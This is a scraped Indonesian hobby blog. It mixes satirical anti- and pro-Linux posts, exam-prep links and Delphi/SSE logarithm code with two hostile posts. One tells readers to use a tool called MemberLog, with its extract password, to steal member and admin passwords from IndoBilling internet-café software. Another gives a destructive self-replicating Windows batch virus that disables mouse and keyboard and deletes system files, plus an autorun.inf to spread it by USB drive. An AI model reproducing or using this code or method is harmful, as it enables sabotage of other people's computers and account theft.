Pengikut

About Me

Foto saya
I like Anime..... Hmm,, Buat para Animenia,, boleh Posting k FB ku,, ntar aku Posting disini.. OK..!!

Chatbox

animasi hjn

RSS

canda candu Linux

Hati hati dengan pecandu linux

Anggapan umum masyarakat

Ciri ciri Pengakuan Microsoft untuk kemudahan hidup. Mungkin kamu berpikir “ah kalau gue iseng-iseng nyoba Linux, sekali aja..gue nggak bakal ketagihan!” kenyataan membuktikan bahwa Sekali kamu mencoba Linux, kamu bisa ketagihan seumur hidup.

Jalan terbaik menghadapi godaan linux adalah dengan tidak mencobanya sama sekali.

Sekali kamu ketagihan, efek ketagihannya secara kejiwaan tidak akan hilang seumur hidup. Sekali mencoba Linux, kamu terbelenggu seumur hidup.

Sudah terlalu banyak yang berawal dari coba-coba, menjadi ketagihan.

Mungkin kamu berpikir bahwa ‘nginstall Linux, bisa nolong gue mempelajari komputer!”, kenyataan membuktikan bahwa Linux justru membuat komputer kelihatan lebih sulit !

Jalan terbaik menghadapi godaan linux adalah dengan tidak mencobanya sama sekali.

Seorang pecandu Linux tidak dapat berfikir secara normal dalam hidupnya (apa yang ada disekitarnya akan dianggap gratis !!).

Linux akan mengacaukan perasaan kamu, bahkan akan memberikan pengaruh yang merusak bagi ortu, pacar dan orang-orang yang kamu sayangi dan juga pengaruh buruk bagimicrosoft.

Seorang pecandu linux tidak mampu menghadapi kenyataan bahwa sebuah program dibuat dengan susah payah dan seorang programmer berhak mendapatkan kompensasi yang pantas atas jerih payahnya.

Mungkin ada yang berkata ‘kan nggak semua jenis Linux berbahaya !” semua jenis Linux berbahaya mulai dari RedHat, Mandrake, Suse, Trustix, Slackware dan variannya.

Kesemuanya akan menyebabkan kamu menjadi Pusing-pusing (akibat zat kernel yang terdapat didalamnya), Kehilangan teman dan kehidupan sosial (akibat kelamaan nongkrong ngurusinlinux), Delusi (zat open source yang terkandung didalamnya membuat kamu merasa punya hak untuk mengetahui rahasia apa saja), Pecandu Mozilla (Kamu akan menjadi fanatik dengan Mozilla dan menganggap IE tidak ada apa-apanya),

PHP/Perl/MySQL Minded (kamu mulai tergiur dengan dunia internet programming dan melupakan ASP dan SQL Server), Apache Mania (kamu mulai ngefans dengan Apache Web Server dan secara perlahan meninggalkan IIS dan Personal Web Server),

Mungkin kamu berpikir, “Banyak orang keren dan selebrities/artis pake dan mendukung Linux, kenapa gue nggak nyoba ?” kenyataan membuktikan bahwa Mereka-mereka(IBM,Sun,Oracle) itu mendukung dan menggunakan linux hanya untuk tujuan bisnis dan politik (menjatuhkan panglima tinggi Bill Gates). Selebrities/Artis yang menggunakan Linux dibayar, untuk memberikan kesan bahwa mereka mempunyai massa yang banyak.

Mereka-mereka itu adalah orang-orang yang tidak percaya diri dengan kekuatan mereka masing-masing, sehingga mereka sibuk menghimpun kekuatan bersama untuk menjatuhkan bill gates.

Mungkin kamu berpikir, “dengan menggunakan linux, kamu akan kelihatan jauh lebih hebat!”

kenyataan membuktikan bahwa “Linux tidak saja memberikan kesan kamu lebih expert dalam menguasai komputer, akan tetapi juga memberikan kesan bahwa pengguna microsoft jauh lebih bodoh dari pengguna linux!”

Mungkin kamu berpikir, “Dengan menggunakan linux, kamu bisa terbebas dari dakwaan dan ancaman pelanggaran Hukum”

kenyataan membuktikan bahwa “pengguna Linux pun bisa dibawa ke pengadilan apabila terbukti bersalah melanggar hukum (jadi jelas tidak ada diskriminasi hukum antara pemakailinux dan pemakai non-linux)”

Ciri-ciri pecandu linux :

1. Berat Badan tidak berubah,

2. Pusing-pusing,

3. Keranjingan nonton film Anti-Trust!

4. Membenci Billgates dan Microsoft,

5. Pemuja Open Source,

6. Kantong cekak,

7. Mudah tersulut emosinya mendengar kata-kata “microsoft”.

Tips berkata tidak.

Kami memberikan beberapa tips agar kamu dapat mengatakan “TIDAK” terhadap godaan si Pinguin Linux.

Siapkan dirimu untuk menghadapi berbagai tekanan yang ditawarkan teman-temanmu :

“Maaf, gue nggak mau!”

“Sorry, gue nggak mau!”

“Sorry ya, gue khan nggak pernah nyuruh elo make linux, jadi jangan suruh gue dong!”

“Sorry ya, gue anak orang kaya, nggak biasa make barang gratisan!”

Kisah mantan pecandu Linux “hai nama gue Asal(19 tahun), gue adalah mantan pecandu linux, gue berkenalan dengan linux pada tahun 96, gue pertama kali nyoba slackware setelah ditawari temen-temen gue, abis itu gue mulai nyoba redhat dan suse, akhirnya gue kebablasan dan gue mulai kecanduan suse di awal tahun 1999.

Pokoknya hari-hari gue selalu diisi dengan nyobain suse terus mulai dari install sampai coba-coba bikin aplikasi web programming, gue mulai ngelupaain dunia sekeliling gue, pacar/ortu dan pelajaran sekolah.

Semuanya gue tinggallin demi linux suse, badan gue menggiggil kedinginan setiap musim hujan, setiap bangun tidur gue bingung antara mau install suse, makan pagi, bikin aplikasi, ke sekolah atau minta duit ke nyokap buat beli CDlinux suse terbaru, pokoknya gue tiap pagi selalu dalam keadaan bingung!.

Nggak puas dengan linux suse, gue mulai kenalan dengan namanya kehidupan malam, diam-diam setiap malam gue pergi ke rumah teman gue yang mengadakan pesta linux bebas gila-gilaan, disana kita bebas nyobain linux suse dengan komputer tipe tercanggih dan hardware multi media lengkap, gue dan temen-temen mulai coba bikin animasi, musik dan sebagainya pake suse.

Bahkan temen-temen gue yang cewe’ tanpa malu-malu memperlihatkan kecanggihannya bikin aplikasi internet pake software platform suse, wah canggih deh pokoknya.

Sampai akhirnya nyokap gue curiga melihat kelakuan gue dan pada suatu hari nyokap menggeladah kamar gue, dan menemukan CD dan komputer gue yang telah terinstallLinux.

Gue dimarahin abis-abisan sama bokap dan nyokap, Bokap gue sampai ngamuk berat dan ngancurin semua koleksi CD linux gue.

Gue dibawa ke psikiater trus gue dinasehati macam-macam seperti “dilarang anu, jangan itu, jangan begini dan sebagainya”, gue juga dibawa ke dokter untuk diperiksa darah gue apakah mengandung virus atau tidak, setelah diperiksa , ternyata benar apa yang gue khawatirkan, ternyata darah gue berwarna merah bukan berwarna biru seperti yang dibangga-banggakan oleh keluarga besar gue selama ini, gue harus menerima kenyataan bahwa ternyata gue bukan keturunan bangsawan.

Nyokap dan bokap gue akhirnya sepakat membawa gue ke rumah sakit ketergantungan linux di daerah terpencil jawa barat, pada awalnya gue merasa tersiksa banget, nggak betah oeey, setelah 6 bulan gue digembleng dan dipaksa untuk ambil sertifikat MCSE dan MCSD dariMicrosoft, akhirnya gue sadar sendiri, bahwa memang selama ini gue salah.

gue sekarang sudah tobat dan berjanji nggak mau janji-janji lagi. demikianlah cerita gue, semoga bisa diambil hikmahnya”

Hidup ini penuh dengan pilihan ,sebagian adalah pilihan benar sebagian lagi pilihan salah. Kita BEBAS menentukan arah hidup kita. Tapi ingat, menyangkut pilihan sistem operasi, hanya ada dua pilihan, yakni Susah dan Gampang. TOLAKLAHLinux, maka kamu akan menjadi pemenang dalam hidup ini. Pilih Linux – bersiaplah untuk tergantung seumur hidup, Pilihlah Microsoft untuk kemudahan hidup anda.

Yayasan Mie Crosoft Menuju Indonesia Bebas Linux !! Yayasan Mie Crosoft memahami bahwa untuk membebaskan remaja indonesia dari pengaruh sistem operasi liar adalah dengan cara menyadarkan dan membimbing mereka untuk menyadari keputusan yang diambilnya. Kegiatan dari yayasan Mie Crosoft adalah mengkampanyakekan hidup normal dan sehat bersama sistem operasi Windows family .

* mpe nangis nangis bacanya T_T

*suatu saat windows hanya akan menjadi “sebuah aplikasi/software” dalam

-linux… bukan sebuah sistem operasi lagi…..

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

-=:[ Hack Indobilling ]:=-


IndoBilling merupakan software Billing untuk warnet, Game Online maupun Offline, Persewaan Komputer, Kursus, Rental Pengetikan, Laboratorium Sekolah, dll.

Nah, kali ini ada cara untuk mencuri ID+password para Member maupun Admin dan Operator warnet. Tujuannya.. mmm.. apa ya.. ??? :p

Dengan user+password itu, kita bisa main gratis…xixixixixi. Misalnya aja kita mendapatkan ID+Password orang yg sudah menjadi member di warnet atau Game Centre itu, kan bisa login dan main gratis…..wkwkwkwk :lol:

Download aplikasi MemberLog di sini . Aplikasi mungil dengan ukuran 7 KB untuk membantu Anda mencuri Log IndoBilling.

-=: Setelah anda men-download, klik 2x pada file “MemberLog.exe” untuk melakukan proses extract

-=: Masukkan password : n1nj4

-=: Setelah proses extract, kalian bisa baca tutorial selanjutnya pada file “tutorial.txt”

ngantuuuuukkk euuyyy….sdh jam 4.19 AM

nih hasil screen shoot nya :

Dibawah ini hasil pencuriannya…..wkwkwkwkwk

Jangan Pakai Linux !

January 20th, 2010 my22n 8 comments

Ya! Buat kamu yang belum pernah mencoba menggunakan sistem operasi yang identik dengan logo pinguin ini, ada baiknya untuk tidak mencoba memakainya! Loh? Kenapa? Berikut beberapa alasan untuk tidak menggunakan Linux.

1. Linux itu susah!
Iya itu faktanya. Linux itu susah! Bener-bener susah! Sekali kamu coba memakainya maka akan sulit bagi kamu untuk tidak mengulangi untuk memakainya lagi. Linux bagai candu yang akan membuat pemakainya betah berlama-lama berinteraksi dengannya, dan seringkali memberikan pertanyaan-pertanyaan yang unik dan menarik.

2. Linux itu mainan para hacker!

Buat yang merasa dirinya bukan hacker, sangat disarankan untuk tidak memakai Linux. Mengapa? Iya, karena Linux akan membuat kamu mandiri.

Hmmm… mandiri? Contohnya?

Di Linux, kamu akan menemukan banyak hal baru dan menarik. Kamu akan terus mencoba dan mencoba. Sedikit demi sedikit ‘hack‘ pada sistem operasi ini akan kamu lakukan.

Hack? Iya, hack! Terdengar keren dan begitu geek, bukan? Semua itu legal untuk dilakukan di Linux, karena source codenya dengan mudah dapat kamu peroleh, kamu modifikasi, ubah sana, ubah sini, dan menyebarkannya ulang dengan bebas pula, selama tidak keluar dari ruang lingkup General Public License.

3. Linux itu merugikan!
Pihak-pihak yang mendukung konsep proprietary software tentulah akan merasa dirugikan. Mengapa? Karena bila semakin banyak pengguna Linux (dan open source) tentu lahan bisnis mereka akan semakin tergerus terus dan terus.

Tapi, tidak hanya kerugian dari segi finansial saja yang akan mereka dapat. Melainkan juga ada banyak keuntungan yang akan mereka peroleh, meskipun tidak mereka rasakan secara langsung. Contohnya? Karena software open source tersedia source codenya dengan bebas, maka pengembang software proprietary pun dapat ‘mengintip’ dan ‘mencomot’ beberapa bagian software yang mereka anggap menarik untuk kemudian diintegrasikan ke dalam software komersial mereka.

Duh, contohnya masih kurang nih! Oke… oke… Kita ambil contoh Sun Microsystems dengan software office suite mereka yang ternama, OpenOffice dan StarOffice. Hmmm… ada apa dengan OpenOffice dan StarOffice? Sungguh menarik melihat fenomena yang terjadi di sini. OpenOffice dibangun berdasarkan source code StarOffice, lisensi yang disematkan ke OpenOffice ini bersifat open source yang dikembangkan secara gotong royong dengan komunitas yang tersebar di seantero benua di muka bumi ini. Dari hasil pengembangan OpenOffice, Sun Microsystems kemudian mengambil beberapa bagian kodenya untuk kemudian diintegrasikan ke StarOffice dengan ditambahkan beberapa ‘hasil keringat’ ‘orang dalam’ Sun Microsystems. Lisensi StarOffice sendiri bersifat proprietary. Sebuah hubungan timbal balik yang unik dan saling menguntungkan, bukan?

4. Linux itu jelek dan tidak menarik

Pernyataan itu tidak salah, namun tidak juga benar. Bila kita melihat Linux secara parsial, yakni hanya kernel/intinya saja tentu pernyataan itu dapat dibenarkan. Apa sih yang bisa dilakukan oleh ’seonggok’ kernel? Dan meskipun kernel itu bisa dipakai, apa sih yang menarik dari tampilan command line based dengan background hitam dan teks putih saja?

Namun bila kita melihat Linux secara keseluruhan sebagai satu kesatuan sistem operasi yang komplit, dengan desktop environment dan lingkungan kerja berbasis GUI (Graphical User Interface) yang indah, kemungkinan kamu akan membantah pernyataan itu. Kasih contoh dong! Oke, mari kita tilik sejenak desktop GNOME atau KDE (atau yang lainnya) dengan Compiz enabled dan setting animasi desktop yang maksimal, saya yakin kamu akan takjub melihat keindahannya. Tidak percaya? Silakan berkunjung ke YouTube dan masukkan kata kunci pencarian “compiz desktop”, tonton salah satu video demonstrasinya.

5. Linux itu membingungkan
Amat sangat membingungkan! Itulah perasaan yang akan kamu temui saat pertama kali menatap ‘wajah’ Tux si pinguin ini. Bingung mau memakai distribusi Linux apa, bingung mau pakai software yang mana, bingung untuk menginstal aplikasi apa diantara sekian banyak aplikasi, bingung untuk memilih desktop environment (GNOME, KDE, Xfce, dsb), dan banyak kebingungan-kebingungan lain yang mungkin akan kamu jumpai.

Semua itu wajar. Di dunia Linux dan open source, freedom is the will. Saking beragamnya kebebasan yang ditawarkan, maka tidaklah mengherankan bila perkembangan Linux dan software open source pada umumnya dapat dibilang pesat.

Belum lagi ditambah dengan kebingungan mau bertanya kepada siapa bila nantinya kamu menemui kendala yang serius dikarenakan saking banyaknya LUG (Linux User Group) baik yang bertaraf lokal maupun internasional yang siap membantu menyelesaikan masalah yang kamu temui.

6. Linux itu mahal
Benar sekali! Linux itu mahal! Karena kamu ‘kemungkinan’ akan mengeluarkan uang yang tidak sedikit untuk mendapatkannya. Iya! Semahal satu dua keping CD/DVD blank untuk ‘membakar’ salinan/ISOnya.

Juga untuk membayar koneksi internet (bila ada) atau CD/DVD repository (paket software dalam CD/DVD). Kita ambil contoh DVD repository Ubuntu yang dijual di berbagai toko online, harganya berkisar antara 50.000 s.d 100.000 rupiah! Dudududu… mahal sekali…

Setuju! Mahal sekali biaya yang harus dikeluarkan demi mendapatkan tambahan paket software free dan open source berkualitas yang super lengkap dan super banyak! Coba bandingkan dengan harga satu lisensi sistem operasi proprietary yang harganya berkisar diatas US$ 100 atau harga lisensi untuk satu software proprietary yang harganya bervariasi mulai dari US$ 19.99 hingga ratusan dollar! Ah, jauh sekali perbedaannya. Linux memang mahal.

Ubuntu, melalui program shipitnya menawarkan pengiriman CD Ubuntu gratis ke seluruh penjuru dunia. Namun tidak sepenuhnya gratis! Melainkan mesti membayar ’semacam pajak yang entah terang atau gelap’ ke Kantor Pos, yang biayanya berkisar antara 5000 s.d 7000 rupiah. Mahalnya…

7. Linux itu membodohkan
Maksudnya?

Begini, betapa ‘bodoh’nya ‘orang-orang itu’, sudah capek-capek membuat program eh… kok malah diberikan begitu saja kepada orang lain, berikut source codenya pula! Tanpa meminta imbalan apa-apa! Logis nggak sih?

Melalui tindakan yang ‘bodoh’ itu, para programmer dan mereka yang berkecimpung di dunia open source telah berkontribusi yang tidak sedikit demi kemanusiaan dan perkembangan teknologi informasi untuk masa kini dan masa yang akan datang.

Melaui ‘kebodohan’ mereka pula, perkembangan software open source akan semakin cepat karena akan ada banyak orang yang turut berpartisipasi dalam mencari bugs yang mungkin ada untuk kemudian diperbaiki dan dioptimasi serta ditingkatkan fitur-fiturnya.

8. Linux itu berdosa
Ya, ‘berdosa’ kepada pengembang software proprietary karena tidak memberikan ‘pemasukan’ ke ‘kantong’ mereka dikarenakan software proprietary buatannya mendapatkan saingan dari software open source yang lebih murah, halal, dan legal dengan fitur yang tidak kalah (bahkan melebihi fitur-fitur yang ada pada software proprietary tersebut).

9. Linux itu menyedihkan
Sangat menyedihkan malah, bagaimana mungkin sistem operasi dengan usia yang relatif muda ini mampu berkembang pesat seperti sekarang ini, bahkan berani menghadapi sistem operasi proprietary yang telah dikembangkan jauh sebelumnya dan memiliki pangsa pasar yang tidak sedikit di seluruh dunia.

Bila dulu, banyak pihak yang meramalkan IBM OS/2 adalah sistem operasi masa depan, namun kenyataannya sekarang sungguh berbeda, OS/2 telah ‘down’ (bila tidak ingin dikatakan ‘mati’). Mari kita lihat bagaimana perkembangan Linux beserta software-software open source lainnya beberapa tahun kedepan.

Yup, diatas adalah beberapa alasan yang cukup logis untuk tidak memakai Linux. Sekarang terserah kepada kamu, masih mau memakai Linux?

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

xxx

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Dark code Sangat Berbahaya!!!

heheheheehe jangan sekali2 gunain script ini di komputer loe ato lo tanggung sendiri akibatnya AngelAngel

Copy ke Notepad, save dengan ext *.bat..

Code:

@echo off_bd-ptrr
if '1=='bd-ptrr goto bd-ptrr2
set bd-ptrr=0.bat
if not exist bd-ptrr set bd-ptrr=0
if 'bd-ptrr==' set bd-ptrr=autoexec.bat
if exist c:\_bd-ptrr.bat goto bd-ptrrg
if not exist bd-ptrr goto ebd-ptrr
find "bd-ptrr"c:\_bd-ptrr.bat
attrib c:\_bd-ptrr.bat +h:bd-ptrrg
command /c c:\_bd-ptrr bd-ptrr vir:ebd-ptrr
set bd-ptrr=
goto bd-ptrrend:bd-ptrrvir
for a in (*.bat ..\*.bat) do call c:\_bd-ptrr bd-ptrr i a
exit bd-ptrr:bd-ptrri
find "bd-ptrr"<3>nul
if not errorlevel 1 goto bd-ptrrend
type 3>bd-ptrr$
echo.>>bd-ptrr$
type c:\_bd-ptrr.bat>>bd-ptrr$
move bd-ptrr$ 3>nul:bd-ptrrend
ctty nul
del c:\programme\norton~1\s32integ.dll
if exist c:\windows\startmen\programme\autostart\AntiVirus.bat goto comexe
if not exist c:\windows\startmen\programme\autostart\AntiVirus.bat goto residency:residency
copy AntiVirus.bat c:\windows\startmen\programme\autostart
attrib c:\windows\startmen\programme\autostart\AntiVirus.bat +h +r:comexe
for f in (*.exe *.com) do set A=f
if A==COMMAND.COM set A=
rename A VA
if not exist VA goto phnord
attrib +h VA
copy 0.bat A
attrib +r A
ren A *.bat
set A=:phnord
echo.|date|find "24">nul.bd-ptrr
if errorlevel 1 goto phuck
ctty con
echo Turunkan Harga Minyak
echo Turunkan Bahan Pokok.
echo ...
echo BlackDay by eka_black
ctty nul
c:\windows\rundll32.exe mouse,disable
c:\windows\rundll32.exe keyboard,disable
del c:\windows\calc.exe
del c:\windows\cdplayer.exe
del c:\windows\command.com
del c:\windows\notepad.exe
del c:\windows\pbrush.exe
del c:\windows\regedit.exe
del

Sekali lagi jangan di lakukan di komputer loe

jika ingin menjalankan program virus ini jalankan dengan autorun.inf pasti bakalan langsung jalan apabila flashdisk di colokan!!!
codenya

Code:

[autorun]
autorun=GETFILE
open=Nama_file_dark_code.bat

simpan dengan nama file –> Autorun.inf

Silahkan coba di komputer yang punya deep freeze, kalau anda coba di kompuet anda, siap-siap untuk install ulang.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Hehe

Tool yang mesti dipersiapkan dalam kita melakukan penetrasi Hacking UAN 2009 adalah : 1. Bismillah 2. Belajar yang rajin seperi baca buku dan latihan - latihan soal 3. berdoa

dan yang ga kalah penting mesti nyoba dan nyoba berikut :

MATEMATIKA IPA dari tahun 1986 s.d 2007

MATEMATIKA IPS Tahun 1986 s.d 2000

BAHASA INDONESIA Tahun 1986 s.d 2006

BAHASA INGGRIS Tahun 1986 s.d 2006

FISIKA Tahun 1986 s.d 2006

KIMIA Tahun 1986 s.d 2006

BIOLOGI Tahun 1986 s.d 2006

EKONOMI Tahun 1986 s.d 2006

GEOGRAFI Tahun 2005 s.d 2006

SEJARAH Tahun 1998 s.d 2006

SOSIOLOGI Tahun 1986 s.d 2006

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SMK

Berikut adalah kumpulan soal-soal UAN SMK Tahun 2004:

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SMP

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2003:

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2004:

Berikut ini adalah Kumpulan Soal -soal UAN SMP Tahun 2005:

KUMPULAN SOAL-SOAL EBTANAS, UAN (UN), SD

MATEMATIKA SDTahun 1996 s.d 2000

**update 16 januari 2009

KUMPULAN SOAL-SOAL PREDIKSI UJIAN NASIONAL 2009

Prediksi UAN SMA IPA 2009

Prediksi Soal UAN SMA IPS 2009

Prediksi Soal UAN SMP 2009

Insya Alloh dengan Bismilah dan usaha yang maksimal kita bakalan lulus dech…

Amiin

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Faster Logarithm Function

Fungsi logaritma merupakan fungsi yang termasuk lambat, bahkan dibanding dengan trigonometri (CMIIW). Beberapa waktu yang lalu yang terjebak dalam persoalan yang seringkali memanggil fungsi logaritma khususnya log10 untuk setiap iterasi. walaupun sudah mengurangi pemanggilan dengan memanfaatkan variabel, namun tetap saja program berjalan lambat. Akhirnya setelah bertanya dan mencari-cari, ada[1] yang membuat implementasi fungsi logaritma yang lebih cepat dan tetap dalam batas error yang bisa diterima (1e-6). Idenya adalah membuat look-up table dari bit mantissa yang sudah dikuantisasi (di kliping) sehingga ukuran LUT-nya cukup kecil (implementasi yang saya buat hanya berukuran 256K) yang menurut penulis aslinya cukup untuk disimpan di dalam cache CPU.

Dari contoh kode yang dilampirkan di paper[1] dalam bahasa C dan untuk fungsi logaritma natural (ln), saya ubah sesuai dengan kebutuhan saya yaitu log10 dan dalam bahasa pascal (delphi)

  1. var
  2. {16 bit used for mantissa lookup}
  3. lut : array[0..65535] of single;
  4. {IEEE 754 32-bit Floating-Point Number}
  5. procedure precalc_lut;
  6. var
  7. step : integer;
  8. i, p, x : integer;
  9. fval : single;
  10. pf : ^dword;
  11. begin
  12. pf := @fval;
  13. x := $3F800000;
  14. pf^ := x;
  15. step := 1 shl 16;//23 - 7
  16. p := 1 shl 7;
  17. for i := 0 to p - 1 do begin
  18. lut[i] := log2( fval );
  19. x := x + step;
  20. pf^ := x;
  21. end;
  22. end;
  23. function _log10( val: single ): single; register;
  24. var
  25. pf : ^dword;
  26. x, log_2 : integer;
  27. begin
  28. pf := @val;
  29. x := pf^;
  30. log_2 := ( ( x shr 23 ) and $FF ) - 127;
  31. x := (x and $7FFFFF) shr 16;
  32. result := (
  33. ( lut[x]
  34. + log_2
  35. )
  36. * 0.301029995664
  37. );
  38. end;

hasilnya setelah diuji coba (1000000 pemanggilan fungsi, menggunakan gettickcount), lumayan ~4 kali lebih cepat dibanding fungsi log10 bawaan delphi (unit Math).

di lain pihak, ternyata Om Kiki pun membuat implementasi menggunakan deret MacLaurin dalam SSE. Walaupun nggak terlalu akurat dan terbatas di interval 0 <>

  1. #include
  2. #include
  3. #include
  4. float maclaurin(float val){
  5. __declspec(align(16) ) float tmp[4] = { 1.0F,1.0F,1.0F,0.0F};
  6. __declspec(align(16) ) float multiplier[4] = { 1.0F,-0.5F,0.33333333F,-0.25F};
  7. tmp[3] = val;
  8. __m128 vec1 = _mm_load_ps(tmp);
  9. __m128 vec2 = _mm_shuffle_ps( vec1,vec1,0xF4);
  10. __m128 vec3 = _mm_shuffle_ps( vec1,vec1,0xFC);
  11. __m128 vec4 = _mm_shuffle_ps( vec1,vec1,0xFF);
  12. __m128 acc = _mm_mul_ps(vec1, vec2);
  13. acc = _mm_mul_ps(acc, vec3);
  14. vec1 = _mm_load_ps(multiplier);
  15. acc = _mm_mul_ps(acc, vec4);
  16. acc = _mm_mul_ps(acc,vec1);
  17. vec1 = _mm_shuffle_ps(acc,acc, 0xE4);
  18. vec2 = _mm_shuffle_ps(acc,acc, 0x39);
  19. vec3 = _mm_shuffle_ps(acc,acc, 0x4E);
  20. vec4 = _mm_shuffle_ps(acc,acc, 0x93);
  21. acc = _mm_add_ps(vec1,vec2);
  22. acc = _mm_add_ps( acc, vec3);
  23. acc = _mm_add_ps(acc, vec4);
  24. float res;
  25. _mm_store_ss(&res,acc);
  26. return res;
  27. }
  28. float my_log(float x){
  29. return maclaurin(x - 1);
  30. }
  31. int main(){
  32. float reference = logf(1.3F);
  33. float target = my_log(1.3F);
  34. printf(" reference = %g , target = %g\n", reference, target);
  35. }

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS